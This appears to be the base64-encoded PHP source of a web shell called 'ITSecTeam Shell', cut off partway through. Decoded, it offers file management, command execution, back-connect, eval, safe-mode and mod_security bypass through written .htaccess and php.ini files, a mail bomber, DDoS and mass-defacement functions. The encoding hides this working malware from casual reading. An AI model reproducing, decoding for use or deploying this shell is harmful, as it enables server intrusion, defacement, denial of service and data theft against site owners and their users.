UFBTlNVaEVVZ0FBQUEwQUFBQU5DQVlBQUFCeTYrUjhBQUFCYUVsRVFWUjQybU1JWGZXZmVmN0pUN1lyejM0bzMzQUJoajlCYUtEWXJQM1BFNklxcGdreW9JTk5GejlHbm56dy9mL05Gejh3OEpZclgvL1AySDZ6TXJCeWlqQ0twbDFYUGtiZWUvWHQvL2Z2M3pIdy9sdGYveCs0L3ZuVDdPMDM2d096a1RTdVAvY3U4c2F6ei8rL2ZQbUNnUzgrK3Z4LzI1WFAveGNjZVA0eHIyZExQRkE1TTFqVHl0UHZJcTg4L3ZqLzQwZmMrT3oxNS8vTE94WlhBWlZ6Z0RVdE8vRTY4dExERC84L2ZNQ0IzMy80Zi9ycXMvOGxMUXVyNFpvV0gzc2RlZUgraC8vdjM3L0hqdCs5LzMveXl0UC9SVTFJbXVZZWZoMTU5dTY3LzIvZnZzV0szN3g1OC8vNHBTZi9DOUExbmI3ejl2L3IxNjl4NG1PWEh2L1BROWEwQU9pOE0zY2dKbUxESUUwbkxqOUJkZDZDWXk4aXo5NEJLbmlOQmIrQjBDZEJtcEFEb25QOS9jamxCeDcvMzMzcThmODlwOUh3R2FBNGtGNjY1LzcvbEdxa0lIZndLUmF4OVloMXQzSUlDTFoxQ0FwQngxWkFiR0liRUN3bHIyOElWTTRLQVBaZ3dReGJKeVZvQUFBQUFFbEZUa1N1UW1DQyc7DQokaGVhZD0nPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCkE6bGluayB7dGV4dC1kZWNvcmF0aW9uOiBub25lfQ0KQTp2aXNpdGVkIHt0ZXh0LWRlY29yYXRpb246IG5vbmV9DQpBOmFjdGl2ZSB7dGV4dC1kZWNvcmF0aW9uOiBub25lfQ0KQTpob3ZlciB7dGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmUgb3ZlcmxpbmU7IGNvbG9yOiA0MTQxNDE7fQ0KLmZvY3VzIHRke2JvcmRlci10b3A6MHB4IHNvbGlkICNmOGY4Zjg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNmMmYyZjI7cGFkZGluZzowcHggMHB4IDBweCAwcHg7fQ0KPC9zdHlsZT48aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5pVFNlY1RlYW08L3RpdGxlPg0KPC9oZWFkPjxib2R5ICB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIHJpZ2h0bWFyZ2luPSIwIiANCmJnY29sb3I9IiNmMmYyZjIiPjxkaXYgYWxpZ249ImNlbnRlciI+DQombmJzcDs8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwMCIgaGVpZ2h0PSIxNCIgYm9yZGVyY29sb3I9IiNDRENEQ0QiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlOyBib3JkZXItc3R5bGU6IHNvbGlkOyBib3JkZXItd2lkdGg6IDFweCI+DQo8dHI+DQo8dGQgaGVpZ2h0PSIzMCIgd2lkdGg9Ijk5NiI+DQo8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PHNwYW4gbGFuZz0iZW4tdXMiPjxhIGhyZWY9Ij9kbz1ob21lIj5Ib21lPC9hPiAtLSA8YSBocmVmPSI/ZG89ZmlsZW1hbmFnZXImYWRkcmVzcz0nLmdldGN3ZCgpLiciPkZpbGUgTWFuYWdlcjwvYT4gLS0gPGEgaHJlZj0iP2RvPWNtZCZhZGRyZXNzPScuZ2V0Y3dkKCkuJyI+Q29tbWFuZCBFeGVjdXRlPC9hPiAtLSA8YSBocmVmPSI/ZG89YmMmYWRkcmVzcz0nLmdldGN3ZCgpLiciPkJhY2sgQ29ubmVjdDwvYT4gLS0NCjxhIGhyZWY9Ij9kbz1ieXBhc3NjbWQmYWRkcmVzcz0nLmdldGN3ZCgpLiciPkJ5cGFzUyBDb21tYW5kIGVYZWN1dGUoU0YtREYpPC9hPiAtLSA8YSBocmVmPSI/ZG89c3ltbGluayZhZGRyZXNzPScuZ2V0Y3dkKCkuJyI+U3ltbGluazwvYT4gLS0NCjxhIGhyZWY9Ij9kbz1ieXBhc3NkaXImYWRkcmVzcz0nLmdldGN3ZCgpLiciPkJ5cGFzUyBEaXJlY3Rvcnk8L2E+IC0tIDxhIGhyZWY9Ij9kbz1ldmFsJmFkZHJlc3M9Jy5nZXRjd2QoKS4nIj4NCkV2YWwgUGhwPC9hPiAtLSA8YSBocmVmPSI/ZG89ZGImYWRkcmVzcz0nLmdldGN3ZCgpLiciPkRhdGEgQmFzZTwvYT4gLS0gPGEgaHJlZj0iP2RvPWNvbnZlcnQmYWRkcmVzcz0nLmdldGN3ZCgpLiciPkNvbnZlcnQ8L2E+IC0tIDxhIGhyZWY9Ij9kbz1tYWlsJmFkZHJlc3M9Jy5nZXRjd2QoKS4nIj5NYWlsIEJvb21iZXI8L2E+PGEgaHJlZj0iP2RvPWluZm8mYWRkcmVzcz0nLmdldGN3ZCgpLiciPg0KPGJyPlNlcnZlciBJbmZvcm1hdGlvbjwvYT4gLS0gPGEgaHJlZj0iP2RvPWQwc2xvY2FsJmFkZHJlc3M9Jy5nZXRjd2QoKS4nIj5Eb3MgTG9jYWwgU2VydmVyPC9hPiAtLSA8YSBocmVmPSI/ZG89ZHVtcCZhZGRyZXNzPScuZ2V0Y3dkKCkuJyI+QmFja3VwIERhdGFiYXNlPC9hPiAtLSA8YSBocmVmPSI/ZG89bWFzcyZhZGRyZXNzPScuZ2V0Y3dkKCkuJyI+TWFzcyBEZWZhY2U8L2E+IC0tIDxhIGhyZWY9Ij9kbz1kbGZpbGUmYWRkcmVzcz0nLmdldGN3ZCgpLiciPkRvd25sb2FkIFJlbW90ZSBGaWxlPC9hPiAtLSA8YSBocmVmPSI/ZG89ZGQwcyZhZGRyZXNzPScuZ2V0Y3dkKCkuJyI+RERvUzwvYT4gLS0gPGEgaHJlZj0iP2RvPXBlcm0mYWRkcmVzcz0nLmdldGN3ZCgpLiciPkZpbmQgV3JpdGFibGUgRGlyZWN0b3J5PC9hPiAtLSA8YSBocmVmPSI/ZG89YXBhY2hlJmFkZHJlc3M9Jy5nZXRjd2QoKS4nIj5TZXJ2ZXI8L2E+IC0tIDxhIGhyZWY9Ij9kbz1yZW1vdmUmYWRkcmVzcz0nLmdldGN3ZCgpLiciPlJlbW92ZSBNZTwvYT4gLS0gPGEgaHJlZj0iP2RvPWFib3V0JmFkZHJlc3M9Jy5nZXRjd2QoKS4nIj5BYm91dDwvYT4NCjwvc3Bhbj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+PC9kaXY+DQo8ZGl2IGFsaWduPSJjZW50ZXIiPg0KPHRhYmxlIGlkPSJ0YWJsZTIiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlOyBib3JkZXItc3R5bGU6IA0Kc29saWQ7IiB3aWR0aD0iMTAwMCIgYmdjb2xvcj0iI2VhZWFlYSIgYm9yZGVyPSIxIiBib3JkZXJjb2xvcj0iI2M2YzZjNiIgDQpjZWxscGFkZGluZz0iMCI+PHRib2R5Pjx0cj48dGQ+PGRpdiBhbGlnbj0iY2VudGVyIj48dGFibGUgaWQ9InRhYmxlMyIgc3R5bGU9ImJvcmRlci1zdHlsZTpkYXNoZWQ7IGJvcmRlci13aWR0aDoxcHg7IG1hcmdpbi10b3A6IDFweDsgbWFyZ2luLWJvdHRvbTogMHB4OyANCmJvcmRlci1jb2xsYXBzZTogY29sbGFwc2UiIHdpZHRoPSI5NTAiIGJvcmRlcj0iMSIgYm9yZGVyY29sb3I9IiNjZGNkY2QiDQpoZWlnaHQ9IjEwIiBib3JkZXJjb2xvcmxpZ2h0PSIjQ0RDRENEIiBib3JkZXJjb2xvcmRhcms9IiNDRENEQ0QiPjx0Ym9keT48dHI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjxkaXYgYWxpZ249ImNlbnRlciI+DQpPcGVyYXRpb24gU3lzdGVtIDogJy5waHBfdW5hbWUoKS4nIHwgUGhwIFZlcnNpb24gOiAnLnBocHZlcnNpb24oKS4nIHwgU2FmZSBNb2RlIDogJy4kc2FmZV9tb2Rlcy4nIDx0ZCBzdHlsZT0iYm9yZGVyOiAxcHggc29saWQgcmdiKDE5OCwgMTk4LCAxOTgpOyIgDQp3aWR0aD0iOTUwIiBiZ2NvbG9yPSIjZTdlM2RlIiBoZWlnaHQ9IjEwIiB2YWxpZ249InRvcCI+JzsNCiRlbmQ9JzwvdGQ+PC90cj48L3Rib2R5PjwvdGFibGU+PC9kaXY+PC90ZD48L3RyPjx0cj48dGQgYmdjb2xvcj0iI2M2YzZjNiI+PHAgc3R5bGU9Im1hcmdpbi10b3A6IDBwdDsgbWFyZ2luLWJvdHRvbTogMHB0IiBhbGlnbj0iY2VudGVyIj48c3BhbiBsYW5nPSJlbi11cyI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPicuYmFzZTY0X2RlY29kZSgiUTI5a1pXUWdZbmtnUVcxcGJpQlRhRzlyYjJocElDaFFaV3AyWVdzcCIpLic8YnI+PGEgaHJlZj0iaHR0cDovL3d3dy5pdHNlY3RlYW0uY29tIiB0YXJnZXQ9Il9ibGFuayI+PGZvbnQgc2l6ZT0xPicuYmFzZTY0X2RlY29kZSgiYVZSVFpXTlVaV0Z0TG1OdmJRPT0iKS4nPC9hPjwvZm9udD48L3NwYW4+PC90ZD48L3RyPjwvdGJvZHk+PC90YWJsZT48L2Rpdj48L2JvZHk+PC9odG1sPic7DQokZGVueT0kaGVhZC4iPHAgYWxpZ249J2NlbnRlcic+IDxiPk9oIE15IEdvZCE8YnI+IFBlcm1pc3Npb24gRGVuaWVkIi4kZW5kOw0KZnVuY3Rpb24gYWxlcnQoJHRleHQpew0KZWNobyAiPHNjcmlwdD5hbGVydCgnIi4kdGV4dC4iJyk8L3NjcmlwdD4iOw0KfQ0KaWYgKCRfR0VUWydkbyddPT0iZWRpdCIgJiYgJF9HRVRbJ2ZpbGVuYW1lJ10hPSJkaXIiKXsNCmlmKGlzX3JlYWRhYmxlKCRfR0VUWydhZGRyZXNzJ10uJF9HRVRbJ2ZpbGVuYW1lJ10pKXsNCiRvcGVkaXQ9Zm9wZW4oJF9HRVRbJ2FkZHJlc3MnXS4kX0dFVFsnZmlsZW5hbWUnXSwiciIpOw0Kd2hpbGUoIWZlb2YoJG9wZWRpdCkpDQokZGF0YS49ZnJlYWQoJG9wZWRpdCw5OTk5KTsNCmZjbG9zZSgkb3BlZGl0KTsgDQplY2hvICRoZWFkLiRmb3JtcC4kbm93YWRkcmVzcy4nPHAgYWxpZ249ImNlbnRlciI+RmlsZSBOYW1lIDogJy4kX0dFVFsnYWRkcmVzcyddLiRfR0VUWydmaWxlbmFtZSddLic8YnI+PHRleHRhcmVhIHJvd3M9IjE5IiBuYW1lPSJmZWRpdCIgY29scz0iODciPicuaHRtbGVudGl0aWVzKCIkZGF0YSIpLic8L3RleHRhcmVhPjxicj48aW5wdXQgdmFsdWU9Jy4kX0dFVFsnZmlsZW5hbWUnXS4nIG5hbWU9bmFtZWZlPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiAgU2F2ZSAgIj48L2Zvcm0+PC9wPicuJGVuZDtleGl0Ow0KfWVsc2V7YWxlcnQoIlBlcm1pc3Npb24gRGVuaWVkICEiKTt9fQ0KZnVuY3Rpb24gc2l6ZWUoJHNpemUpDQp7DQogaWYoJHNpemUgPj0gMTA3Mzc0MTgyNCkgeyRzaXplID0gQHJvdW5kKCRzaXplIC8gMTA3Mzc0MTgyNCAqIDEwMCkgLyAxMDAgLiAiIEdCIjt9DQogZWxzZWlmKCRzaXplID49IDEwNDg1NzYpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwNDg1NzYgKiAxMDApIC8gMTAwIC4gIiBNQiI7fQ0KIGVsc2VpZigkc2l6ZSA+PSAxMDI0KSB7JHNpemUgPSBAcm91bmQoJHNpemUgLyAxMDI0ICogMTAwKSAvIDEwMCAuICIgS0IiO30NCiBlbHNlIHskc2l6ZSA9ICRzaXplIC4gIiBCIjt9DQogcmV0dXJuICRzaXplOw0KfQ0KaWYoJF9SRVFVRVNUWydkbyddPT0nYWJvdXQnKXsNCmVjaG8gJGhlYWQuIjxwIGFsaWduPSdjZW50ZXInPjxiPjxmb250IGNvbG9yPXJlZD5JVFNlY1RlYW0sIElUIFNlY3VyaXR5IFJlc2VhcmNoICYgUGVuZXRyYXRpb24gVGVzdGluZyBUZWFtPC9iPjwvZm9udD48YnI+VmVyc2lvbiAyLjEgPGJyPkxhc3QgVXBkYXRlIDogMjAxMC8xMC8xMDxicj5Db2RlZCBCeSA6IEFtaW4gU2hva29oaShQZWp2YWspPGJyPlNwZWNpYWwgVGhhbmtzKE0zaHJAbi5TICwgQW0hcmtoQG4gLCBSM2RtMHZlICwgUHJvdmlkZXIgLCBING1pZEBUbTNsICwgYWhtYWRiYWR5ICwgRG9vc2liICk8YnI+SG9tZSBQYWdlIDogPGEgaHJlZj0naHR0cDovL3d3dy5pdHNlY3RlYW0uY29tJz5odHRwOi8vd3d3Lml0c2VjdGVhbS5jb208L2E+PGJyPlVwZGF0ZSBOb3RpY2U6IDxhIGhyZWY9J2h0dHA6Ly9pdHNlY3RlYW0uY29tL2VuL3Rvb2xzL2l0c2VjdGVhbV9zaGVsbC5odG0nPklUU2VjVGVhbSBTaGVsbDwvYT48YnI+Rm9ydW0gOiA8YSBocmVmPSdodHRwOi8vd3d3LmZvcnVtLml0c2VjdGVhbS5jb20nPmh0dHA6Ly93d3cuZm9ydW0uaXRzZWN0ZWFtLmNvbTwvYT48YnI+DQo8Y2VudGVyPg0KPFBSRT4NCg0KIF9fX19fXyAgX19fX19fICBfX19fICAgICAgICAgICAgICAgICAgIF9fX19fXyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCi9cX18gIF9cL1xfXyAgX1wvXCAgX2BcICAgICAgICAgICAgICAgIC9cX18gIF9cICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQpcL18vXCBcL1wvXy9cIFwvXCBcLFxMXF9cICAgICBfXyAgICBfX19cL18vXCBcLyAgICBfXyAgICAgX18gICAgICBfX18gX19fICAgIA0KICAgXCBcIFwgICBcIFwgXCBcL19cX18gXCAgIC8nX19gXCAvJ19fX1wgXCBcIFwgIC8nX19gXCAvJ19fYFwgIC8nIF9fYCBfX2BcICANCiAgICBcX1wgXF9fIFwgXCBcICAvXCBcTFwgXC9cICBfXy8vXCBcX18vICBcIFwgXC9cICBfXy8vXCBcTFwuXF8vXCBcL1wgXC9cIFwgDQogICAgL1xfX19fX1wgXCBcX1wgXCBgXF9fX19cIFxfX19fXCBcX19fX1wgIFwgXF9cIFxfX19fXCBcX18vLlxfXCBcX1wgXF9cIFxfXA0KICAgIFwvX19fX18vICBcL18vICBcL19fX19fL1wvX19fXy9cL19fX18vICAgXC9fL1wvX19fXy9cL19fL1wvXy9cL18vXC9fL1wvXy8NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCg0KDQo8L1BSRT4NCg0KDQoiLiRlbmQ7ZXhpdDsNCg0KfQ0KZnVuY3Rpb24gZGVsZXRlRGlyZWN0b3J5KCRkaXIpIHsNCmlmICghZmlsZV9leGlzdHMoJGRpcikpIHJldHVybiB0cnVlOw0KaWYgKCFpc19kaXIoJGRpcikgfHwgaXNfbGluaygkZGlyKSkgcmV0dXJuIHVubGluaygkZGlyKTsNCmZvcmVhY2ggKHNjYW5kaXIoJGRpcikgYXMgJGl0ZW0pIHsNCmlmICgkaXRlbSA9PSAnLicgfHwgJGl0ZW0gPT0gJy4uJykgY29udGludWU7DQppZiAoIWRlbGV0ZURpcmVjdG9yeSgkZGlyIC4gIi8iIC4gJGl0ZW0pKSB7DQpjaG1vZCgkZGlyIC4gIi8iIC4gJGl0ZW0sIDA3NzcpOw0KaWYgKCFkZWxldGVEaXJlY3RvcnkoJGRpciAuICIvIiAuICRpdGVtKSkgcmV0dXJuIGZhbHNlOw0KfTt9cmV0dXJuIHJtZGlyKCRkaXIpO30NCg0KZnVuY3Rpb24gZG93bmxvYWQoJGZpbGVhZGQsJGZpbmFtZSl7DQokZGxmaWxlYT0kZmlsZWFkZC4kZmluYW1lOw0KaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iIC4gJGZpbmFtZSk7ICAgDQpoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vZG93bmxvYWQiKTsNCmhlYWRlcigiQ29udGVudC1MZW5ndGg6ICIgLiBmaWxlc2l6ZSgkZGxmaWxlYSkpOw0KZmx1c2goKTsNCiRmcCA9IGZvcGVuKCQkZGxmaWxlYSwgInIiKTsNCndoaWxlICghZmVvZigkZnApKQ0Kew0KICAgIGVjaG8gZnJlYWQoJGZwLCA2NTUzNik7DQogICAgZmx1c2goKTsNCn0gDQpmY2xvc2UoJGZwKTsgDQp9DQppZigkX0dFVFsnZG8nXT09InJlbmFtZSIpew0KZWNobyAkaGVhZC4kZm9ybXAuJG5vd2FkZHJlc3MuJzxwIGFsaWduPSJjZW50ZXIiPjxpbnB1dCB2YWx1ZT0nLiRfR0VUWydmaWxlbmFtZSddLic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWRkcmVzc3JlbiB2YWx1ZT0nLiRfR0VUWydhZGRyZXNzJ10uJF9HRVRbJ2ZpbGVuYW1lJ10uJz4gVG8gPGlucHV0IG5hbWU9bmFtZXJlbj48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSIgIFNhdmUgICI+PC9mb3JtPjwvcD4nLiRlbmQ7ZXhpdDsNCn0NCg0KaWYgKCRfR0VUWydieWFwYWNoZSddPT0nb2Ztcycpew0KJGZzZT1mb3BlbihnZXRjd2QoKS4kc2xhc2guIi5odGFjY2VzcyIsInciKTsNCmZ3cml0ZSgkZnNlLCc8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQogICAgU2VjLS0tLS0tRW5naW5lIE9mZg0KICAgIFNlYy0tLS0tLVNjYW5QT1NUIE9mZg0KPC9JZk1vZHVsZT4nKTsNCmZjbG9zZSgkZnNlKTsNCn1lbHNlaWYgKCRfR0VUWydieWFwYWNoZSddPT0nYnlzYXAnKXsNCiRmc2U9Zm9wZW4oZ2V0Y3dkKCkuJHNsYXNoLiIuaHRhY2Nlc3MiLCJ3Iik7DQpmd3JpdGUoJGZzZSwnT3B0aW9ucyArRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IFBlcnNpYW4tR3VsZi1Gb3ItRXZlci5odG1sJyk7DQpmY2xvc2UoJGZzZSk7DQp9ZWxzZWlmICgkX0dFVFsnYnlhcGFjaGUnXT09J3NmYWRmJyl7DQokZnNlPWZvcGVuKGdldGN3ZCgpLiRzbGFzaC4icGhwLmluaSIsInciKTsNCmZ3cml0ZSgkZnNlLCdzYWZlX21vZGU9T0ZGDQpkaXNhYmxlX2Z1bmN0aW9ucz1OT05FJyk7DQpmY2xvc2UoJGZzZSk7DQp9DQppZigkX0dFVFsnZG8nXT09ImFwYWNoZSIpew0KZWNobyAkaGVhZC4kZm9ybWcuJG5vd2FkZHJlc3MuJzxwIGFsaWduPSJjZW50ZXIiPg0KPHNlbGVjdCBuYW1lPWJ5YXBhY2hlPg0KPG9wdGlvbiB2YWx1ZT0ib2ZtcyI+T2ZmIE1vZGUgU2VjdXJpdHkoLmh0YWNjZXNzKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImJ5c2FwIj5CeXBhc3MgU3ltbGluayguaHRhY2Nlc3MpPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJzZmFkZiI+RGlzYWJsZSBTYWZlIE1vZGUgJiBEaXNhYmxlIEZ1bmN0aW9uKFBocC5pbmkpPC9vcHRpb24+DQo8L3NlbGVjdD48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPWVYZWN1dGU+PC9mb3JtPjwvcD4nLiRlbmQ7ZXhpdDsNCn0NCmlmKCRfR0VUWydkbyddPT0iZGQwcyIpew0KZWNobyAkaGVhZC4kZm9ybWcuJG5vd2FkZHJlc3MuJzxwIGFsaWduPSJjZW50ZXIiPkFkZHJlc3MgOiA8aW5wdXQgbmFtZT11cmxkZDAgc2l6ZT01MD4gVGltZSA6IDxpbnB1dCBuYW1lPXRpbWVkZDAgc2l6ZT02IHZhbHVlPTQwMDAwPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiAgRERvUyAgIj48L2Zvcm0+PC9wPicuJGVuZDtleGl0Ow0KfQ0KDQppZigkX0dFVFsndXJsZGQwJ10gJiYgJF9HRVRbJ3RpbWVkZDAnXSl7DQpmb3IgKCRpZD0wOyQkaWQ8JF9HRVRbJ3RpbWVkZDAnXTskaWQrKyl7DQokZnA9bnVsbDsNCiRjb250ZW50cz1udWxsOw0KJGZwPWZvcGVuKCRfR0VUWyd1cmxkZDAnXSwicmIiKTsNCndoaWxlICghZmVvZigkZnApKSB7DQogICRjb250ZW50cyAuPSBmcmVhZCgkZnAsIDgxOTIpOw0KfQ0KZmNsb3NlKCRmcCk7DQp9fQ0KaWYoJF9HRVRbJ2RvJ109PSJkbGZpbGUiKXsNCmVjaG8gJGhlYWQuJGZvcm1wLiRub3dhZGRyZXNzLic8cCBhbGlnbj0iY2VudGVyIj5Eb3dubG9hZCBSZW1vdGUgRmlsZSE8YnI+QWRkcmVzcyA6IDxpbnB1dCBuYW1lPWFkbHIgc2l6ZT03MD48YnI+U2F2ZSBUbyA6IDxpbnB1dCBuYW1lPWFkc3IgdmFsdWU9Jy5nZXRjd2QoKS4kc2xhc2guJyBzaXplPTcwPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiAgRG93bmxvYWQgICI+PC9mb3JtPjwvcD4nLiRlbmQ7ZXhpdDsNCn0NCmZ1bmN0aW9uIGRpcnBlKCRhZGRyZXMpew0KZ2xvYmFsICRzbGFzaDsNCiRpZGQ9MDsNCmlmICgkZGlyaGVuID0gQG9wZW5kaXIoJGFkZHJlcykpIHsNCndoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRpcmhlbikpIHsNCiRwZXJtZGlyPXN0cl9yZXBsYWNlKCcvLycsJy8nLCRhZGRyZXMuJHNsYXNoLiRmaWxlKTsNCmlmKCRmaWxlIT0nLicgJiYgJGZpbGUhPScuLicgJiYgaXNfZGlyKCRwZXJtZGlyKSl7DQppZiAoaXNfd3JpdGFibGUoJHBlcm1kaXIpKSB7DQokZGlyZGF0YVskaWRkXVsnZmlsZW5hbWUnXT0kcGVybWRpcjsgDQokaWRkKys7DQp9DQpkaXJwZSgkcGVybWRpcik7DQoJCQl9DQoJCX0NCgkJY2xvc2VkaXIoJGRpcmhlbik7DQoJfSBlbHNlIHsNCgkJcmV0dXJuICgibm90cGVybSIpOw0KCX0NCglpZiAoJGRpcmRhdGEpew0KCXJldHVybiAkZGlyZGF0YTsNCgl9ZWxzZXsNCgkJcmV0dXJuICJub3Rmb3VuZCI7DQoNCgl9DQp9DQpmdW5jdGlvbiBkaXJwbWFzcygkYWRkcmVzLCRtYXNzbmFtZSwkbWFzc3NvdXJjZSl7DQpnbG9iYWwgJHNsYXNoOw0KJGlkZD0wOw0KaWYgKCRkaXJoZW4gPSBAb3BlbmRpcigkYWRkcmVzKSkgew0Kd2hpbGUgKCRmaWxlID0gcmVhZGRpcigkZGlyaGVuKSkgew0KJHBlcm1kaXI9c3RyX3JlcGxhY2UoJy8vJywnLycsJGFkZHJlcy4kc2xhc2guJGZpbGUpOw0KaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyAmJiBpc19kaXIoJHBlcm1kaXIpKXsNCmlmIChpc193cml0YWJsZSgkcGVybWRpcikpIHsNCmlmICgkZm09Zm9wZW4oJHBlcm1kaXIuJHNsYXNoLiRtYXNzbmFtZSwidyIpKXsNCmZ3cml0ZSgkZm0sJG1hc3Nzb3VyY2UpOw0KZmNsb3NlKCRmbSk7DQokZGlyZGF0YVskaWRkXVsnZmlsZW5hbWUnXT0kcGVybWRpcjsgDQp9DQoNCiRpZGQrKzsNCn0NCmRpcnBtYXNzKCRwZXJtZGlyKTsNCgkJCX0NCgkJfQ0KCQljbG9zZWRpcigkZGlyaGVuKTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gKCJub3RwZXJtIik7DQoJfQ0KCWlmICgkZGlyZGF0YSl7DQoJcmV0dXJuICRkaXJkYXRhOw0KCX1lbHNlew0KCQlyZXR1cm4gIm5vdGZvdW5kIjsNCg0KCX0NCn0NCmlmKCRfR0VUWydkbyddPT0icGVybSIpew0KZWNobyAkaGVhZC4kZm9ybXAuJzxwIGFsaWduPSJjZW50ZXIiPkZpbmQgQWxsIEZvbGRlciBXcml0ZWFibGU8YnI+IDxpbnB1dCBuYW1lPWFmZncgdmFsdWU9IicuZ2V0Y3dkKCkuJHNsYXNoLiciIHNpemU9NTA+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICBTZWFyY2ggICI+PC9mb3JtPjwvcD4nLiRlbmQ7ZXhpdDsNCn0NCmlmICgkX1BPU1RbJ2FmZncnXSl7DQokYXJyZmlsZWxpc3Q9ZGlycGUoJF9QT1NUWydhZmZ3J10pOw0KaWYgKCRhcnJmaWxlbGlzdD09J25vdGZvdW5kJyl7DQphbGVydCgiTm90IEZvdW5kICEiKTsNCn1lbHNlaWYoJGFycmZpbGVsaXN0PT0nbm90cGVybScpew0KYWxlcnQoIlBlcm1pc3Npb24gRGVuaWVkICEiKTsNCn1lbHNlew0KZm9yZWFjaCAoJGFycmZpbGVsaXN0IGFzICR0bXBkaXIpew0KCQlpZiAoJGNvaSAlMil7DQokY29sb3J0PSciI2U3ZTNkZSInOw0KfWVsc2V7DQokY29sb3J0PSciI2U0ZTFkZSInO30NCiRjb2krKzsNCiRwZXJtZGlyPSRwZXJtZGlyLic8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLXN0eWxlOiBkb3R0ZWQ7IGJvcmRlci13aWR0aDogMXB4IiBib3JkZXJjb2xvcj0iI0NEQ0RDRCIgYmdjb2xvcj0nLiRjb2xvcnQuJyB3aWR0aD0iOTUwIiBoZWlnaHQ9IjIwIiBkaXI9Imx0ciI+DQo8dHI+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iODQyIj48cCBhbGlnbj0ibGVmdCI+PHNwYW4gbGFuZz0iZW4tdXMiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48YSBocmVmPSI/YWRkcmVzcz0nLiR0bXBkaXJbJ2ZpbGVuYW1lJ10uJyI+PGI+Jy4kdG1wZGlyWydmaWxlbmFtZSddLic8L2I+PC9zcGFuPjwvdGQ+DQo8dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSI2NSI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48L3RkPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9IjIyIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+DQo8dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+PC90cj48L3RhYmxlPic7DQp9DQplY2hvICRoZWFkLicNCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogNnB0Ij48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLXN0eWxlOiBkb3R0ZWQ7IGJvcmRlci13aWR0aDogMXB4IiBib3JkZXJjb2xvcj0iI0NEQ0RDRCIgd2lkdGg9Ijk1MCIgaGVpZ2h0PSIyMCIgZGlyPSJsdHIiPg0KPHRyPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9Ijg0MiI+PHAgYWxpZ249ImxlZnQiPjxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxl